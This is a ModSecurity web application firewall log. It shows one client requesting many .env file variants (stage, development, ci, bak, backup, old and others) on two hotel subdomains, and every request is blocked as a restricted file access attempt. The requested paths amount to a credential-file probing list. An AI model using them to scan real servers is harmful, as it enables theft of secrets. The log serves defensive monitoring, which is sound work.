[Sun Oct 25 18:01:06.047102 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at58IhFm2vH00tQABbbusAAAAAg"]
[Sun Oct 25 18:01:06.047384 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at58IhFm2vH00tQABbbusAAAAAg"]
[Sun Oct 25 18:01:06.119283 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at58IhVtY6H0wJd2uaILUwAAADA"]
[Sun Oct 25 18:01:06.119585 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at58IhVtY6H0wJd2uaILUwAAADA"]
[Sun Oct 25 18:01:06.119913 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at58IhVtY6H0wJd2uaILUwAAADA"]
[Sun Oct 25 18:01:06.171653 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at58IhFm2vH00tQABbbusQAAAAg"]
[Sun Oct 25 18:01:06.171915 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at58IhFm2vH00tQABbbusQAAAAg"]
[Sun Oct 25 18:01:06.172217 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at58IhFm2vH00tQABbbusQAAAAg"]
[Sun Oct 25 18:01:06.243178 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IhVtY6H0wJd2uaILVAAAADA"]
[Sun Oct 25 18:01:06.243408 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IhVtY6H0wJd2uaILVAAAADA"]
[Sun Oct 25 18:01:06.243720 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at58IhVtY6H0wJd2uaILVAAAADA"]
[Sun Oct 25 18:01:06.296342 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at58IhFm2vH00tQABbbusgAAAAg"]
[Sun Oct 25 18:01:06.296651 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at58IhFm2vH00tQABbbusgAAAAg"]
[Sun Oct 25 18:01:06.296952 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at58IhFm2vH00tQABbbusgAAAAg"]
[Sun Oct 25 18:01:06.367398 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at58IhVtY6H0wJd2uaILVQAAADA"]
[Sun Oct 25 18:01:06.367633 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at58IhVtY6H0wJd2uaILVQAAADA"]
[Sun Oct 25 18:01:06.367924 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at58IhVtY6H0wJd2uaILVQAAADA"]
[Sun Oct 25 18:01:06.420780 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at58IhFm2vH00tQABbbuswAAAAg"]
[Sun Oct 25 18:01:06.420964 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at58IhFm2vH00tQABbbuswAAAAg"]
[Sun Oct 25 18:01:06.421252 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at58IhFm2vH00tQABbbuswAAAAg"]
[Sun Oct 25 18:01:06.491036 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at58IhVtY6H0wJd2uaILVgAAADA"]
[Sun Oct 25 18:01:06.491257 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at58IhVtY6H0wJd2uaILVgAAADA"]
[Sun Oct 25 18:01:06.491563 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at58IhVtY6H0wJd2uaILVgAAADA"]
[Sun Oct 25 18:01:06.545254 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at58IhFm2vH00tQABbbutAAAAAg"]
[Sun Oct 25 18:01:06.545471 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at58IhFm2vH00tQABbbutAAAAAg"]
[Sun Oct 25 18:01:06.545738 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at58IhFm2vH00tQABbbutAAAAAg"]
[Sun Oct 25 18:01:06.614885 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at58IhVtY6H0wJd2uaILVwAAADA"]
[Sun Oct 25 18:01:06.615156 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at58IhVtY6H0wJd2uaILVwAAADA"]
[Sun Oct 25 18:01:06.615440 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at58IhVtY6H0wJd2uaILVwAAADA"]
[Sun Oct 25 18:01:06.669450 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at58IhFm2vH00tQABbbutQAAAAg"]
[Sun Oct 25 18:01:06.669698 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at58IhFm2vH00tQABbbutQAAAAg"]
[Sun Oct 25 18:01:06.669974 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at58IhFm2vH00tQABbbutQAAAAg"]
[Sun Oct 25 18:01:06.738718 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at58IhVtY6H0wJd2uaILWAAAADA"]
[Sun Oct 25 18:01:06.738936 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at58IhVtY6H0wJd2uaILWAAAADA"]
[Sun Oct 25 18:01:06.739225 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at58IhVtY6H0wJd2uaILWAAAADA"]
[Sun Oct 25 18:01:06.793958 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at58IhFm2vH00tQABbbutgAAAAg"]
[Sun Oct 25 18:01:06.794233 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at58IhFm2vH00tQABbbutgAAAAg"]
[Sun Oct 25 18:01:06.794656 2026] [security2:error] [pid 2909561:tid 2909561] [client 34.176.90.213:39274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at58IhFm2vH00tQABbbutgAAAAg"]
[Sun Oct 25 18:01:06.862926 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.176.90.213:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at58IhVtY6H0wJd2uaILWQAAADA"]
